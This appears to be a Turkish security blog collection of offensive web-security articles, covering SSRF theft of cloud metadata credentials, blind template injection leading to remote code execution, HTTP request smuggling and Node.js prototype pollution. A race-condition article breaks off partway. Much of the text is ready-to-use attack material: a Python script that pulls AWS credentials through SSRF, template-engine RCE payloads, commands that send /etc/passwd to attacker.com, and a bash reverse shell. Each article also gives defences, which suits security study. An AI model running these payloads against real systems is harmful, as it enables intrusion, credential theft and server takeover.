Bulut ortamlarında (AWS, GCP, Azure) ise bu saldırı çok daha tehlikeli bir boyut kazanır: her VM instance'ının, yalnızca o sunucu üzerinden erişilebilen özel bir metadata servisi vardır. Bu servis, geçici IAM kimlik bilgilerini açıkça sunabilir.

2024 yılında F5 Labs, SSRF saldırılarında %452 artış raporladı. Nedeni açık: tek bir SSRF açığı, tüm bulut altyapısına giriş kapısı olabilir.

AWS Metadata Servisi (IMDSv1)

Amazon EC2 instance'larında 169.254.169.254 IP adresi, metadata servisine ayrılmıştır. Bu IP link-local'dır — yalnızca EC2 sunucusunun kendisinden erişilebilir. İnternetten doğrudan ulaşılamaz.

Ama bir SSRF varsa, sunucu bu isteği kendisi yapar.

Saldırgan → SSRF payload → Uygulama sunucusu → 169.254.169.254

Mevcut endpoint'ler:

/latest/meta-data/                          → metadata listesi
/latest/meta-data/hostname                  → sunucu adı
/latest/meta-data/iam/security-credentials/ → IAM rol adları
/latest/meta-data/iam/security-credentials/{rol-adı} → kimlik bilgileri

Adım Adım: SSRF → AWS Credential Theft

Adım 1 — SSRF noktasını bul:

Tipik SSRF vektörleri:

GET /fetch?url=http://evil.com/image.png
POST /webhook  {"callback": "http://internal"}
PDF oluşturucu: <img src="http://...">
XML/SVG parser: <!ENTITY xxe SYSTEM "http://...">

Adım 2 — IAM rol adını öğren:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

Yanıt:

ec2-prod-role

Adım 3 — Kimlik bilgilerini çal:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-prod-role HTTP/1.1

Yanıt:

{
  "Code":            "Success",
  "Type":            "AWS-HMAC",
  "AccessKeyId":     "ASIA4EXAMPLE...",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
  "Token":           "AQoDYXdzEJr//...",
  "Expiration":      "2026-05-28T18:00:00Z"
}

Adım 4 — Kimlik bilgilerini dışarıdan kullan:

export AWS_ACCESS_KEY_ID="ASIA4EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr//..."

aws sts get-caller-identity       # Kim olduğunu doğrula
aws s3 ls                         # S3 bucket'larını listele
aws iam list-users                # Tüm IAM kullanıcıları
aws ec2 describe-instances        # Tüm EC2 instance'ları

Kimlik bilgileri son kullanma tarihine kadar herhangi bir makineden çalışır.

IMDSv2: Bypass Tekniği

AWS, bu saldırıya karşı IMDSv2 (Instance Metadata Service v2) geliştirdi. IMDSv2'de kimlik bilgilerine erişmek için önce bir session token almak gerekir:

PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600

Yanıt: AQAEANlW... (session token)

Ardından:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
X-aws-ec2-metadata-token: AQAEANlW...

IMDSv2 atlatma:

Birçok SSRF vektörü (PDF oluşturucu, XML parser, headless browser) PUT isteklerini destekler. Saldırgan önce PUT ile token alır, ardından GET ile kimlik bilgilerini çeker.

# PoC: IMDSv2 SSRF bypass (token elde et, sonra kullan)
import requests

BASE = "http://target.com/fetch?url="
META = "http://169.254.169.254"

# 1. Token al (PUT isteği)
token_resp = requests.put(
    f"{BASE}{META}/latest/api/token",
    headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
)
token = token_resp.text

# 2. IAM rol adını öğren
role_resp = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/",
    headers={"X-aws-ec2-metadata-token": token}
)
role = role_resp.text.strip()

# 3. Kimlik bilgilerini çal
creds = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/{role}",
    headers={"X-aws-ec2-metadata-token": token}
).json()

print(f"AccessKeyId:     {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token:           {creds['Token'][:40]}...")

GCP ve Azure için Farklılıklar

Cloud	Metadata URL	Header Gereksinimi
AWS	`169.254.169.254`	IMDSv2: `X-aws-ec2-metadata-token`
GCP	`metadata.google.internal`	`Metadata-Flavor: Google`
Azure	`169.254.169.254`	`Metadata: true`

GCP örneği:

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

Yanıt: {"access_token": "ya29.c.b0...", "expires_in": 3599, "token_type": "Bearer"}

Privilege Escalation: IAM Üzerinden Tırmanma

Çalınan kimlik bilgileriyle doğrudan tam erişim olmayabilir. Ancak IAM izinleri düzgün yapılandırılmamışsa privilege escalation mümkündür:

# Mevcut izinleri listele
aws iam list-attached-role-policies --role-name ec2-prod-role

# Kendi rolüne yönetici policy ekle (izin varsa)
aws iam attach-role-policy \
  --role-name ec2-prod-role \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Yaygın escalation yolları:

iam:AttachRolePolicy → herhangi bir role admin ekle
lambda:UpdateFunctionCode → Lambda kodunu değiştir, içinde os.system() çalıştır
ec2:RunInstances + iam:PassRole → yeni instance başlat, admin rol ver

Tespit

VPC Flow Logs: 169.254.169.254'e gelen bağlantıları izle
CloudTrail: Beklenmedik AssumeRole, GetCallerIdentity, ListBuckets API çağrıları
AWS GuardDuty: Anomaly-based IAM credential alert'leri
Uygulama log'ları: User-supplied URL'lerin internal IP range'e gidip gitmediğini kontrol et

Önlem

1. IMDSv2'yi zorunlu kılın:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

2. URL whitelist / SSRF koruması:

import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("169.254.0.0/16"),  # link-local
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def is_safe_url(url: str) -> bool:
    host = extract_host(url)
    ip = ipaddress.ip_address(resolve(host))
    return not any(ip in r for r in BLOCKED_RANGES)

3. IAM rolleri en az yetki prensibine göre yapılandırın: EC2 instance'ına yalnızca ihtiyaç duyduğu S3 bucket'ına erişim verin, iam:* yetkisi vermeyin.

4. Outbound network kurallarını sıkılaştırın: Uygulama sunucusunun 169.254.0.0/16'ya erişimini ağ katmanında engelleyin.

Sonuç

SSRF, yalnızca iç ağ taraması gibi "düşük şiddetli" görünebilir. Bulut ortamlarında bu değerlendirme tamamen yanlıştır. Tek bir SSRF açığı → IAM token → AWS API erişimi → tüm altyapı ele geçirilmesi zinciri, dakikalar içinde gerçekleşebilir.

2024'teki %452'lik artış, saldırganların bu zinciri otomatize ettiğinin göstergesidir. Herhangi bir "URL al ve fetch et" işlemi, SSRF koruması olmaksızın cloud ortamında dağıtılmamalıdır.

Referans: F5 Labs Cloud SSRF Research (2024–2025)
İlgili: OWASP Top 10 A10 — Server-Side Request Forgery

Blind SSTI'dan RCE'ye: Çıktısız Template Engine Sömürüsü

2026-05-28T09:00:00Z

Giriş: Çıktı Yoksa Açık da Yok mu?

Server-Side Template Injection (SSTI), kullanıcı girdisinin doğrudan bir template engine tarafından işlendiği durumlarda ortaya çıkar. Klasik örnekte uygulama {{7*7}} ifadesini 49 olarak yansıtır ve açık hemen anlaşılır.

Ama gerçek dünya bu kadar kolay değildir.

Blind SSTI: Uygulama template ifadesini execute eder, ancak sonucu response'a yansıtmaz. Log'a yazar, başka bir servise iletir ya da sadece sessizce çalıştırır. Saldırgan yine de tam RCE elde edebilir — doğrudan çıktı olmasa bile.

Template Engine Nedir?

Template engine, statik şablon ile dinamik veriyi birleştirerek çıktı üretir. Web çerçevelerinde yaygın kullanılanlar:

Engine	Platform	Syntax
Jinja2	Python (Flask, Django)	`{{ }}`, `{% %}`
Twig	PHP (Symfony, Drupal)	`{{ }}`, `{% %}`
FreeMarker	Java (Spring)	`${ }`, `<#>`
ERB	Ruby (Rails)	`<%= %>`
Velocity	Java	`$var`, `#directive`
Smarty	PHP	`{$var}`
Pebble	Java	`{{ }}`

Güvenlik açığı, kullanıcı girdisinin template string'e doğrudan dahil edildiğinde oluşur:

# Savunmasız Flask örneği
from flask import Flask, render_template_string, request

@app.route('/greet')
def greet():
    name = request.args.get('name')
    return render_template_string(f"Hello {name}!")  # YANLIŞ
    # Doğrusu: render_template_string("Hello {{ name }}!", name=name)

?name={{7*7}} → Hello 49!

Blind SSTI: Sessiz Execute

Blind senaryolarda uygulama şunlardan birini yapar:

Template çıktısını log dosyasına yazar, response'a koymaz
Bir email template'ini işler, sonucu kullanıcıya göndermez
Hata durumunda generic bir mesaj döner, detay vermez
Başka bir iç servise template çıktısını iletir

Örnek: E-posta şablonu editörü. Kullanıcı adı alanına {{7*7}} yazıyor, "Şablon kaydedildi" mesajı görüyor. 49 çıktısını hiç görmüyor. Ama server tarafında Jinja2 bu ifadeyi değerlendirdi.

Engine Tespiti: Parmak İzi Teknikleri

Blind durumda bile, farklı engine'lerin aynı payload'a farklı yanıt verdiği ayırt edici farklar kullanılabilir.

Matematiksel tip coercion:

{{7*'7'}}

Jinja2: 7777777 (string çarpma)
Twig: 49 (numeric coercion)
FreeMarker: Hata verir (tip uyumsuzluğu)

Bu ayrım blind durumda da işe yarar: zamanlama, hata kodu, ya da OOB callback'teki yanıt farklı olacaktır.

Polyglot probe seti:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

Her biri farklı engine syntax'ına hitap eder. Birinin tetiklenmesi engine'i daraltır.

Blind Tespit: Zamanlama Tabanlı

Uygulama çıktı vermese de, execution süresi bize bilgi verir.

Jinja2 — sleep payload:

# Subclasses traversal ile sleep çağrısı
{{''.__class__.__mro__[1].__subclasses__()[199]('sleep 5', shell=True, stdout=-1).communicate()}}

__subclasses__() listesinde subprocess.Popen sınıfının index'i Python sürümüne göre değişir. Doğru index bulunduğunda server 5 saniyelik gecikme gösterir.

FreeMarker — sleep payload:

${"freemarker.template.utility.Execute"?new()("sleep 5")}

FreeMarker'ın Execute sınıfı doğrudan sistem komutlarını çalıştırır.

Twig — sleep payload:

{{['sleep 5']|filter('system')}}

Zamanlama ile tespit:

import requests, time

target = "http://target.com/profile/update"
baseline_data = {"bio": "hello world"}

# Baseline
t0 = time.time()
requests.post(target, data=baseline_data, timeout=15)
baseline = time.time() - t0

# Probe
probe_data = {"bio": "{{''.__class__.__mro__[1].__subclasses__()[199]('sleep 5',shell=True,stdout=-1).communicate()}}"}
t0 = time.time()
requests.post(target, data=probe_data, timeout=15)
probe_time = time.time() - t0

if probe_time > baseline + 4:
    print(f"[!] Blind SSTI tespit edildi! Gecikme: {probe_time:.1f}s")

Blind Tespit: Out-of-Band (DNS/HTTP Callback)

Zamanlama tekniği yeterince güvenilir değilse, dışarıya bağlantı açılabilir. Burp Collaborator veya interactsh gibi araçlar bunu yakalar.

Jinja2 — DNS exfil:

{{config.__class__.__init__.__globals__['os'].popen('nslookup YOUR_COLLABORATOR_HOST').read()}}

Jinja2 — HTTP callback:

{{config.__class__.__init__.__globals__['os'].popen('curl http://YOUR_COLLABORATOR_HOST/ssti').read()}}

FreeMarker — DNS exfil:

${"freemarker.template.utility.Execute"?new()("nslookup YOUR_COLLABORATOR_HOST")}

Twig — HTTP callback:

{{['curl http://YOUR_COLLABORATOR_HOST/ssti']|filter('system')}}

Collaborator'da ssti path'ine gelen istek, blind SSTI'nin kanıtıdır.

Engine Tespiti: Hata Tabanlı

Bazı engine'ler geçersiz syntax'e farklı hata kodları veya farklı hata mesajları döner.

# Kasıtlı geçersiz syntax
{{% invalid_syntax %}}
${{ invalid }}
<%= invalid_ruby_expr %>

Jinja2: jinja2.exceptions.TemplateSyntaxError — Python stack trace
Twig: Twig_Error_Syntax — PHP stack trace
FreeMarker: freemarker.core.ParseException — Java stack trace
ERB: SyntaxError — Ruby stack trace

Hata mesajı response'da görünmese bile, HTTP durum kodu (500 vs 200) farklı olabilir.

RCE Payload'ları

Engine tespit edildikten sonra, tam RCE payload'ları:

Jinja2 (Python) — Kısa yol:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Jinja2 — Uzun yol (sandbox bypass için):

{{''.__class__.__mro__[1].__subclasses__()}}
# Çıktıdan subprocess.Popen index'ini bul, sonra:
{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}

Jinja2 — config olmadan:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Veya daha doğrudan:

{{['id']|filter('system')}}
{{['id', '']|sort('system')}}

FreeMarker (Java):

${"freemarker.template.utility.Execute"?new()("id")}

Veya freemarker.template.utility.JythonRuntime ile Python çalıştırma:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

ERB (Ruby):

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Velocity (Java):

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##

Otomasyon: tplmap

tplmap, SSTI tespiti ve exploitation için geliştirilmiş bir araçtır. SQLmap'in template injection karşılığı gibi düşünülebilir.

# Kurulum
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt

# Temel tarama
python tplmap.py -u "http://target.com/greet?name=test"

# POST parametresi
python tplmap.py -u "http://target.com/profile" -d "bio=test"

# Cookie parametresi
python tplmap.py -u "http://target.com/" --cookie "session=abc; template=test"

# OS komut çalıştırma
python tplmap.py -u "http://target.com/greet?name=test" --os-cmd "id"

# Reverse shell
python tplmap.py -u "http://target.com/greet?name=test" --os-shell

tplmap otomatik olarak Jinja2, Twig, FreeMarker, ERB, Velocity, Smarty, Mako ve daha birçok engine'i test eder.

Veri Sızdırma: Blind Durumda

RCE elde edildikten sonra, çıktısız ortamda veri almak için:

DNS üzerinden dosya içeriği:

# /etc/passwd içeriğini base64 ile DNS'e gömme
{{config.__class__.__init__.__globals__['os'].popen(
  'cat /etc/passwd | base64 | tr -d "\\n" | xargs -I{} nslookup {}.attacker.com'
).read()}}

HTTP callback ile dosya gönderme:

{{config.__class__.__init__.__globals__['os'].popen(
  'curl -d @/etc/passwd http://attacker.com/collect'
).read()}}

Reverse shell:

{{config.__class__.__init__.__globals__['os'].popen(
  'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
).read()}}

Önlem

1. Asla kullanıcı girdisini template string'ine doğrudan ekleme:

# YANLIŞ — injection noktası
render_template_string(f"Hello {user_input}!")

# DOĞRU — değişken bağlama
render_template_string("Hello {{ name }}!", name=user_input)

2. Sandbox modunda çalıştır:

# Jinja2 — SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# __class__, __mro__, __subclasses__ erişimi engellenir

3. İzin verilen template değişkenlerini allowlist ile sınırla:

ALLOWED_VARS = {'username', 'email', 'date'}
context = {k: v for k, v in user_context.items() if k in ALLOWED_VARS}

4. Kullanıcının template yazmasına izin verme: Kullanıcılar en fazla {username} gibi basit placeholder formatları kullanabilmeli; tam template syntax'ine erişmemeli.

5. WAF kuralı: {{, ${, <%=, #{ gibi template delimiter'larını giriş noktalarında filtrele.

Sonuç

Blind SSTI, "görünmez" bir güvenlik açığı değildir — yalnızca daha sabırlı bir yaklaşım gerektirir. Zamanlama farkları, DNS callback'leri ve hata kodu analizi ile hem engine hem de execution ortamı tespit edilebilir. Tespit edildikten sonra, tüm sömürü teknikleri standart SSTI ile aynıdır.

Savunma tarafı da aynı şekilde basittir: kullanıcı girdisini template string'ine hiçbir zaman doğrudan ekleme. Bu tek kural, bir RCE zincirini başlamadan keser.

Araştırmacı: James Kettle / PortSwigger, Mahmoud Gamal (ERB), Emilio Pinna (tplmap)
Referans: https://portswigger.net/research/server-side-template-injection
Araç: https://github.com/epinna/tplmap

HTTP Request Smuggling: Front-End/Back-End HTTP Parse Uyumsuzluğunu Sömürmek

2026-05-28T09:00:00Z

Giriş: HTTP/1.1'de Saklı Bir Uyumsuzluk

Modern web mimarilerinin neredeyse tamamı katmanlıdır: önde bir CDN veya ters proxy (Nginx, HAProxy, Cloudflare), arkada bir uygulama sunucusu (Apache, Node.js, Gunicorn). Bu iki katman, aynı TCP bağlantısı üzerinden HTTP isteklerini birbirine iletir — bu mekanizma HTTP Connection: keep-alive ile mümkün olur.

Bu katmanlar arasında kritik bir soru vardır: "Bu isteğin gövdesi nerede bitiyor?"

HTTP/1.1 bu soruyu iki farklı başlıkla yanıtlar:

Content-Length (CL): "Gövde tam olarak N byte uzunluğundadır."
Transfer-Encoding: chunked (TE): "Gövde parçalar halinde gelecek; sıfır uzunluklu parça gelince biter."

Bir istekte her ikisi de varsa RFC 7230 şunu söyler: Transfer-Encoding önceliklidir. Ancak tüm sunucular bu kuralı uygulamaz. İşte bu uyumsuzluk saldırı yüzeyini oluşturur.

CL.TE Saldırısı

En yaygın desync türü: ön-uç CL kullanır, arka-uç TE kullanır.

Savunmasız senaryo:

Front-end (CDN/Proxy):    Content-Length'e göre parse eder
Back-end (App Server):    Transfer-Encoding: chunked'a göre parse eder

Saldırı isteği:

POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling-test
0

GET /admin HTTP/1.1
X-Ignore: x

Ön-uç perspektifi:

Content-Length = 49 → tüm gövdeyi (49 byte) okur → arka-uca iletir. Güvenlik kontrolleri? Yol "/" → sorun yok.

Arka-uç perspektifi:

Transfer-Encoding: chunked kullanır:

e (14) → 14 byte okur: q=smuggling-test\r\n
0 → chunked gövde bitti, istek tamamlandı
Kalan: GET /admin HTTP/1.1\r\nX-Ignore: x → TCP buffer'da bekler

Bir sonraki kullanıcının isteği geldiğinde, arka-uç onu şöyle görür:

GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=kurban_token_buraya

Kurbanın isteği, saldırganın /admin prefix'ine "yapıştırılmış" halde işlenir.

TE.CL Saldırısı

Diğer yön: ön-uç TE kullanır, arka-uç CL kullanır.

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Ön-uç: Chunked parse eder → "8" byte chunk okur → "0" ile biter → tüm mesajı arka-uca iletir.

Arka-uç: Content-Length = 3 kullanır → ilk 3 byte'ı gövde olarak alır (8\r\n) → gerisi buffer'da kalır: SMUGGLED\r\n0\r\n\r\n

Bu kalan veri, bir sonraki isteğin başına eklenir.

TE.TE Saldırısı: Obfuscation Yoluyla

Her iki sunucu da Transfer-Encoding'i destekliyorsa, encoding'i gizleyerek birinin atlasını sağlamak mümkündür:

Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x

RFC'ye uygun olmayan bir sunucu bu başlıkları görmezden gelir ve CL'ye düşer. Diğer sunucu chunked'ı tanır ve TE'yi kullanır. Sonuç: yine desync.

Saldırı Zinciri: Hesap Ele Geçirme

Adım adım kurban session token'ını çalmak:

1. Tuzak isteği gönder:

POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /comment HTTP/1.1
Host: target.com
Content-Length: 200

comment=

2. Kurbanın isteği smug edilmiş yorum gövdesine eklenir:

Arka-uç, kurbanın Cookie: session=... başlığını comment= değerinin devamı olarak işler. Yorum veritabanına kaydedilir.

3. Yorumu oku:

GET /comments HTTP/1.1

Kurbanın tüm HTTP başlıkları (Cookie dahil) yorum içeriğinde görünür.

Tespit: Burp Suite ile

1. Burp Suite → Proxy → HTTP Smuggler extension

2. Manuel CL.TE testi:

import requests

# Zaman farkı testi: normal istek ile karşılaştır
normal_time = requests.post("http://target.com/", timeout=10).elapsed.total_seconds()

# CL.TE probe — yanlış chunk size ile 10 saniyelik gecikme beklenir
payload = "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX"
probe_time = # ... gönder ve süreyi ölç

if probe_time > normal_time + 8:
    print("[!] CL.TE desync muhtemelen mevcut!")

3. HTTP Request Smuggler (Burp extension): Otomatik olarak CL.TE, TE.CL, TE.TE varyantlarını dener ve zaman farklarını ölçer.

Etki Alanları

Saldırı	Sonuç
Request prefix injection	Kurbanın cookie/header'larını çal
`/admin` bypass	Güvenlik duvarı kurallarını atla
Cache poisoning	Zararlı yanıtı önbelleğe al
Web cache deception	Kişisel sayfaları önbelleğe aldır
Reflected XSS amplification	Smuggle ile XSS yayılımı

Önlem

1. Back-end'de Transfer-Encoding başlığını devre dışı bırakın (eğer CDN zaten handle ediyorsa):

proxy_http_version 1.1;
proxy_set_header Connection "";
# TE başlığını temizle:
proxy_set_header Transfer-Encoding "";

2. HTTP/2 kullanın: HTTP/2'de request smuggling bu formda mümkün değildir (binary framing).

3. Normalize edin: Back-end'e iletmeden önce hem CL hem TE varsa isteği reddedin.

4. CDN/Proxy'yi güvenilir ayarlarla yapılandırın: Çelişen başlıkları sessizce geçirmeyin.

Sonuç

HTTP Request Smuggling, iki güvenilir sunucunun birbiriyle konuşurken oluşan güvenden doğar. Saldırganın hedef uygulamaya doğrudan erişimi olmaksızın, yalnızca bir "garip" istek göndererek başka kullanıcıların oturumlarını çalabilmesi — bu tekniğin ne kadar güçlü ve sinsi olduğunu gösterir.

James Kettle'ın DEF CON 26'da sunduğu bu araştırma, bugün hâlâ birçok büyük CDN ve proxy'de aktif güvenlik açıkları bulmaya devam etmektedir.

Araştırmacı: James Kettle / PortSwigger Research
İlk Sunum: DEF CON 26, Black Hat USA 2019
Referans: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

Prototype Pollution'dan RCE'ye: Node.js Gadget Zincirleri

2026-05-27T11:00:00Z

Giriş: JavaScript Prototype Zinciri

JavaScript'te her nesne, [[Prototype]] adı verilen gizli bir bağlantıya sahiptir. Bu bağlantı, nesnenin özelliğe sahip olmadığı durumlarda aramanın nerede devam edeceğini belirler — bu mekanizma prototip kalıtımı olarak bilinir.

const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() → Object.prototype.toString'den gelir

Zincirin en tepesinde Object.prototype bulunur. Node.js sürecindeki her nesne bu prototipi kalıtır. Bu gerçek, kritik bir güvenlik sorusunu doğurur:

Object.prototype'a bir özellik eklersek ne olur?

Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true  ← hiç tanımlamadık

Cevap: Süreçteki tüm nesneler bu özelliği anında kalıtır.

Prototype Pollution Nedir?

Prototype pollution, saldırganın kullanıcı kontrolündeki veriler aracılığıyla Object.prototype'ı değiştirebilmesi durumudur.

Bu genellikle güvensiz merge, clone, veya extend işlemleri aracılığıyla gerçekleşir:

Savunmasız deep merge:

function merge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === "object") {
      merge(target[key], source[key]);  // recursive
    } else {
      target[key] = source[key];       // NO KEY GUARD
    }
  }
}

// Saldırgan payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Artık: Object.prototype.shell === "bash"

__proto__ anahtarı özel bir JavaScript semantiğine sahiptir: target.__proto__ aslında Object.prototype'ı döndürür. Bu yüzden target.__proto__.shell = "bash" ifadesi Object.prototype.shell = "bash" ile eşdeğerdir.

Alternatif kirletme yolları:

// constructor.prototype yoluyla
{"constructor": {"prototype": {"admin": true}}}

// URL parametresi yoluyla
?__proto__[shell]=bash

// JSON merge patch yoluyla
PATCH /config  {"__proto__": {"debug": true}}

Server-Side Prototype Pollution (SSPP)

İstemci tarafı (browser) prototype pollution iyi bilinir. Ancak daha tehlikeli olan server-side varyantıdır: Node.js sürecindeki Object.prototype zehirlenir.

Neden daha tehlikeli?

Tek bir istek tüm uygulamayı etkiler
Belleğe yazılır, her sonraki nesne etkilenir
Kütüphane gadget'ları RCE'ye kadar zincirlenebilir

CVE-2024-38999: RequireJS Prototype Pollution

RequireJS, Node.js ve browser ortamlarında yaygın olarak kullanılan bir modül yükleme kütüphanesidir.

Savunmasız işlev: require.config()

// RequireJS kaynak kodu (basitleştirilmiş)
req.config = function(config) {
  // config nesnesi doğrulama YAPILMADAN
  // mevcut cfg ile deep merge edilir
  extend(cfg, config);  // __proto__ key'i korunmuyor!
  return req;
};

Kullanıcı kontrolündeki bir config nesnesi require.config()'e geçirilirse:

// Saldırgan tarafından kontrol edilen config
require.config({
  "__proto__": {
    "shell": "bash"
  }
});
// Object.prototype.shell === "bash"

Gadget Zincirleri: Kirliliği RCE'ye Dönüştürmek

Prototype pollution tek başına zararsızdır. Tehlike, uygulamada gadget adı verilen kodun varlığında ortaya çıkar.

Gadget: Kirlenmiş özelliği okuyup tehlikeli biçimde kullanan mevcut kod parçası.

Gadget 1: EJS Template Engine (CVE-2022-29078 tarzı)

EJS (Embedded JavaScript Templates), render sırasında outputFunctionName seçeneğini okur ve bu değeri doğrudan kod olarak değerlendirir:

// EJS kaynak kodu (iç)
if (opts.outputFunctionName) {
  prepended += `  var ${opts.outputFunctionName} = __output;\n`;
}
// → String.prototype'dan kalıtılmış değer eval olarak çalıştırılır

Saldırı:

// 1. Object.prototype kirlet
Object.prototype.outputFunctionName =
  "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";

// 2. EJS bir şablon render etmeye çalışsın (normal akış)
ejs.render("<%= name %>", { name: "alice" });
// → gadget tetiklenir → RCE

Gadget 2: child_process.spawn Options

// Uygulama kodu — masum görünür
const { spawn } = require("child_process");

function runConverter(file) {
  // options nesnesi boş; değerler Object.prototype'tan kalıtılır
  const proc = spawn("convert", [file], {});
  return proc;
}

// Pollution ile:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn artık /bin/bash ile shell olarak çalışır

Gadget 3: Handlebars Template Engine

Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → RCE

Tam Saldırı Zinciri: CVE-2024-38999

HTTP İsteği → require.config(userInput)
    ↓ deep merge (key guard yok)
Object.prototype.shell = "bash"
    ↓ gadget aranıyor
ejs.render() veya spawn() tetiklenir
    ↓ kirlenmiş özellik okunur
/bin/bash çalıştırılır
    ↓
RCE — sunucu ele geçirildi

Önlem

1. Key guard ekleyin:

function safemerge(target, source) {
  for (const key of Object.keys(source)) {
    // __proto__ ve constructor'ı filtrele
    if (key === "__proto__" || key === "constructor") continue;
    if (typeof source[key] === "object") {
      safemerge(target[key] ??= {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

2. Object.create(null) kullanın:

// Prototype'sız nesne oluştur
const config = Object.create(null);
// __proto__ kalıtımı yoktur — kirletme imkânsız

3. Object.prototype'ı dondurun:

Object.freeze(Object.prototype);
// Pollution girişimi sessizce başarısız olur (strict modda hata verir)

4. RequireJS güncelleme: 2.3.7+ sürümüne geçin.

5. Node.js bayrağı:

node --disable-proto=delete app.js
# __proto__ erişimini devre dışı bırakır

Sonuç

Prototype pollution, "düşük etki" gibi görünen bir giriş noktasından ("sadece bir nesne özelliği değişiyor") tam sunucu kompromisine uzanan zarif bir saldırı zinciri sunar. Tehlike, saldırganın uygulamadaki mevcut kodu gadget olarak kullanmasıdır — yeni kod çalıştırmasına gerek yoktur.

CVE-2024-38999, on yılı aşkın süredir yaygın biçimde kullanılan bir kütüphanenin bu saldırı sınıfına karşı savunmasız olduğunu ortaya koydu. Her merge, assign veya extend işlemi, __proto__ key'ine karşı koruma sağlayıp sağlamadığı sorgulanarak incelenmelidir.

CVE: CVE-2024-38999
Kütüphane: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Araştırma Temeli: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023

Single-Packet Race Condition: Web Uygulamalarında Milisaniyenin Altında Exploitation

2026-05-27T10:00:00Z

Giriş: Neden Klasik Race Condition Testleri Başarısız Olur?

Race condition (yarış koşulu) güvenlik açıkları, uygulamanın bir kaynağı kontrol ettiği an ile kullandığı an arasındaki zaman penceresini sömürür. Bu sınıf TOCTOU (Time-Of-Check-Time-Of-Use) olarak bilinir.

Teoride basit görünür: aynı isteği aynı anda birden fazla kez gönder, kontrol mekanizmasını atla. Pratikte ise ağ gecikmesi (jitter) bu saldırıyı neredeyse imkânsız kılar. İki HTTP isteği, farklı ağ koşulları nedeniyle birbirinden 10–50ms sapabilir. Çoğu açık yalnızca 2–20ms'lik bir pencerede mevcuttur.

2023 yılında James Kettle (PortSwigger), DEF CON 31'de sunduğu "Smashing the State Machine" araştırmasıyla bu sorunu temelden çözen bir teknik geliştirdi: Single-Packet Attack.

Sub-State: Açığın Yaşadığı Yer

Race condition'ların çalışabilmesi için uygulamanın kısa süreli bir "ara durum"a (sub-state) girmesi gerekir.

Bir hediye kartı (gift card) redemption akışını düşünelim:

1. Bakiyeyi kontrol et  →  balance >= 100 ?  ✓
2. [SUB-STATE — ~5ms]   →  henüz düşülmedi
3. Bakiyeyi düş         →  balance -= 100

Eğer ikinci bir istek, "1" ve "3" adımları arasına girebilirse — yani bakiye henüz düşülmemişken tekrar kontrol başarılı olursa — kart birden fazla kez kullanılır.

Bu pencere genellikle 2–20 milisaniye arasındadır.

Single-Packet Tekniği

Klasik yaklaşımda her HTTP isteği ayrı bir TCP bağlantısı üzerinden gönderilir. Ağ koşulları nedeniyle istekler farklı milisaniyede sunucuya ulaşır. Pencere kaçırılır.

Single-packet tekniğinin çözümü:

HTTP/2 multiplexing sayesinde birden fazla request, tek bir TCP paketine sığdırılabilir. Aynı frame içindeki tüm requestler sunucuya aynı anda ulaşır — aralarında sıfır gecikme.

Son-frame senkronizasyonu (Last-Frame Sync):

